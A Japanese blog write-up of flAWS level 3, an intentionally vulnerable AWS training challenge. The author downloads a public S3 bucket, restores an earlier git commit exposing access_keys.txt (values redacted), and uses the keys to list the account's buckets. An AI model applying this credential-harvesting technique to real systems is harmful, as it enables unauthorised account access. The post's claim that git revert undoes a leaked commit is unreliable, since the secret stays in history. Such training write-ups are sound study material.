🐑

flAWSレベル3やるっ

2023/03/29に公開

今日も進めていきます。今回はレベル3です。
Level3
問題文はこちら。

The next level is fairly similar, with a slight twist. Time to find your first AWS key! I bet you'll find something that will let you list what other buckets are.

AWSキー発見の初体験のときだそうです…
クラッカーにとってAWSキーを見つけることは、人生の記念すべき瞬間てこと。

で、他のバケットのリストを見つければ良いみたいなので、、といっても何をすべきか全くノーアイデアです。ヒントを見せてください。

S3バケットの中身をダウンロードする

今回もAWS CLIを使って、flAWSのS3バケットをダウンロードするところから始めます。

まずはAWS CLIで自分のAWS IAM Identity Centerにログインが必要です。

~ % aws sso login --profile sso-admin
Attempting to automatically open the SSO authorization page in your default browser.
If the browser does not open or you wish to use a different device to authorize this request, open the following URL:

https://device.sso.ap-northeast-3.amazonaws.com/

Then enter the code:

XXXX-XXXX
Successfully logged into Start URL: https://xxxxxxxx.awsapps.com/start

ログインに成功しました。
ではヒント1の通りflAWSのS3バケットをローカル端末にダウンロードしてみます。

~ % aws s3 sync s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/ .\Downloads\ --no-sign-request --region us-west-2
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/HEAD to Downloads\.git\HEAD
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/description to Downloads\.git\description
download: s3://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud/.git/hooks/post-update.sample to Downloads\.git\hooks\post-update.sample
~以下略~

ダウンロードできました。
中に”.git”ディレクトリの存在が確認できます。

% ls ./Downloads/

    Directory: C:\Users\<myname>\Downloads

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d----          2023/03/28    12:27                .git
-a---          2017/02/27     9:14         123637 authenticated_users.png
-a---          2017/02/27     9:14           1552 hint1.html
-a---          2017/02/27     9:14           1426 hint2.html
-a---          2017/02/27     9:14           1247 hint3.html
-a---          2017/02/27     9:14           1035 hint4.html
-a---          2020/05/23     3:21           1861 index.html
-a---          2017/02/27     9:14             26 robots.txt

Gitリポジトリ履歴を復元する

移動してgit logコマンドを実行し、Gitあるところに編集履歴あり。Gitリポジトリの履歴を見てみましょう。

~ % cd ./Downloads/ 
Downloads % git log
commit b64c8dcfa8a39af06521cf4cb7cdce5f0ca9e526 (HEAD -> master)
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:43 2017 -0600

    Oops, accidentally added something I shouldn't have

commit f52ec03b227ea6094b04e43f475fb0126edb5a61
Author: 0xdabbad00 <scott@summitroute.com>
Date:   Sun Sep 17 09:10:07 2017 -0600

    first commit

”HEAD”と印が付いているのが現在のバージョンです。
さらに「いけないものを追加しちゃった~」みたいなコメントと共にコミットされています。わざわざ書かなくてもいいのに。

時間にしてその数十秒前にコミットされているバージョンが残されています。
ここに何か載せちゃいけないものを載せたから、慌てて今の修正バージョンをコミットしたのでしょう。

Downloads % git checkout f52ec03b227ea6094b04e43f475fb0126edb5a61
Note: switching to 'f52ec03b227ea6094b04e43f475fb0126edb5a61'.
HEAD is now at f52ec03 first commit
M       index.html

これで履歴から復元されたので、どんな変化があるか、もう一度ファイルを見てみましょう。

Downloads % ls -la
total 320
drwx------+ 13 shinjoukatsuya  staff     416  3 28 23:34 .
drwxr-x---+ 35 shinjoukatsuya  staff    1120  3 28 23:33 ..
-rw-r--r--@  1 shinjoukatsuya  staff    6148  3 26 11:47 .DS_Store
drwxr-xr-x  12 shinjoukatsuya  staff     384  3 28 23:34 .git
-rw-r--r--   1 shinjoukatsuya  staff       0  6  5  2022 .localized
-rw-r--r--   1 shinjoukatsuya  staff      91  3 28 23:34 access_keys.txt
-rw-r--r--   1 shinjoukatsuya  staff  123637  2 27  2017 authenticated_users.png
-rw-r--r--   1 shinjoukatsuya  staff    1552  2 27  2017 hint1.html
-rw-r--r--   1 shinjoukatsuya  staff    1426  2 27  2017 hint2.html
-rw-r--r--   1 shinjoukatsuya  staff    1247  2 27  2017 hint3.html
-rw-r--r--   1 shinjoukatsuya  staff    1035  2 27  2017 hint4.html
-rw-r--r--   1 shinjoukatsuya  staff    1703  3 28 23:24 index.html
-rw-r--r--   1 shinjoukatsuya  staff      26  2 27  2017 robots.txt

最も見えてはいけないっぽい名前のファイル、”access_keys.txt”の存在を確認できました。
絶対AWSのアクセスキーが入ってると思われます。

AWSアカウントへのアクセス

Downloads % cat access_keys.txt 
access_key XXXXXXXXXXXXXXXXXX
secret_access_key xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

アクセスキーが入っています。
こうしてAWSキーが入手できてしまったので、もちろんこのアカウントにログインを試みます。そこにアクセスキーがあるから。

このflAWSのAWSにアクセスするためのプロファイルを作成します。

Downloads % aws configure --profile flaws
AWS Access Key ID [None]: XXXXXXXXXXXXXXXXX
AWS Secret Access Key [None]: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Default region name [None]: us-west-2
Default output format [None]: json

問題ありません。これで、flAWSの中の人としてAWSにアクセスできます。
flAWSが所有するS3バケットのリストを取得しましょう。

Downloads % aws --profile flaws s3 ls
2020-06-26 02:43:56 2f4e53154c0a7fd086a04a12a452c2a4caed8da0.flaws.cloud
2020-06-27 08:06:07 config-bucket-975426262029
2020-06-27 19:46:15 flaws-logs
2020-06-27 19:46:15 flaws.cloud
2020-06-28 00:27:14 level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
2020-06-28 00:27:14 level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
2020-06-28 00:27:14 level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
2020-06-28 00:27:15 level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud
2020-06-28 00:27:15 level6-cc4c404a8a8b876167f5e70a7d8c9880.flaws.cloud
2020-06-28 11:29:47 theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud

各レベル用に用意されたバケットが丸見えです。
私が目指しているのは常にNext Levelです。人目もはばからずlevel4のバケットにアクセスします。
Level3クリア
今回は「Congrats!」がなかったので合ってるか不安でしたが、どうやらクリアできたようです。

今回の問題点

この設問は、AWSキーを誤ってコミットしたあとに、コミット自体を取り消さなかったことが問題だったということです。
履歴が残っていることを考慮していなかったのか、第三者に履歴を復元されるとは思わなかったのか分かりませんが、例えば今回のように誤ってAWSキーに関わるミスがあった場合、コミットをロールバックして修正するべきでした。
ローカルリポジトリのコミットを無かったことにするには次のコマンド

git reset --hard <commit_ID>

リモートリポジトリへのプッシュをロールバックする場合は次のコマンド

git revert <commit_ID>

これらを実行して、ミスを無かったことにしましょう!!

多数のメンバーが関わるリモートリポジトリをロールバックする場合は、本当はもう少し問題が複雑になるはずですが、、有効なAWSキーが残ってしまうよりは良いでしょう。
また一度でもAWSキーが漏洩したおそれがある場合は、すぐに既存のキーを無効化して、新しいキーを作成することが必須です。

いまは、プログラムから機械的にアクセスする場合を除き、アクセスキーを使用した認証は非推奨となりました。
ここでも行なったように、IAM Identity Centerで発行される短い期間の認証を使用することで、キーの漏洩による不正利用のリスクを抑えることができます。

今回は私がGit苦手&無知すぎてけっこう難しかったです。。
Gitの本、積んでるの読もう。

Discussion